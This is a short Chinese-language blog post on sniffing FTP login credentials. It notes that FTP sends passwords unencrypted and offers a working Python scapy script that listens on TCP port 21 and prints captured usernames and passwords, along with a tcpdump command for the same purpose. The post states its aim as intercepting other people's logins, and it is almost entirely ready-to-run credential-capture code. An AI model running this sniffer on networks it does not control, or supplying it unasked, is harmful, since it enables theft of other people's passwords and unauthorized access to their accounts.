嗅探FTP登录口令

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_43776408/article/details/102735900
FTP是文件传输协议
没有使用加密措施来保护用户的密码
所以我们可以在他人登录的时候截取其用户名和密码

import optparse
from scapy.all import *


def ftpSniff(pkt):
    
    dest = pkt.getlayer(IP).dst
    raw = pkt.sprintf('%Raw.load%')
    user = re.findall('(?i)USER (.*)', raw)
    pswd = re.findall('(?i)PASS (.*)', raw)
    
    if user:
        print '[*] Detected FTP Login to ' + str(dest)
        print '[+] User account: ' + str(user[0])
    elif pswd:
        print '[+] Password: ' + str(pswd[0])


def main():
    parser = optparse.OptionParser('usage %prog '+\
                                   '-i <interface>')
    parser.add_option('-i', dest='interface', \
                      type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    
    try:
        sniff(filter='tcp port 21', prn=ftpSniff)  #嗅探端口21号的TCP流量
    except KeyboardInterrupt:
        exit(0)


if __name__ == '__main__':
    main()

//////////////

我们也可以直接在命令行输入
tcpdump -A -i wlan0mon 'tcp port 21'
出现listening表示正在监听

猜你喜欢

转载自blog.csdn.net/qq_43776408/article/details/102735900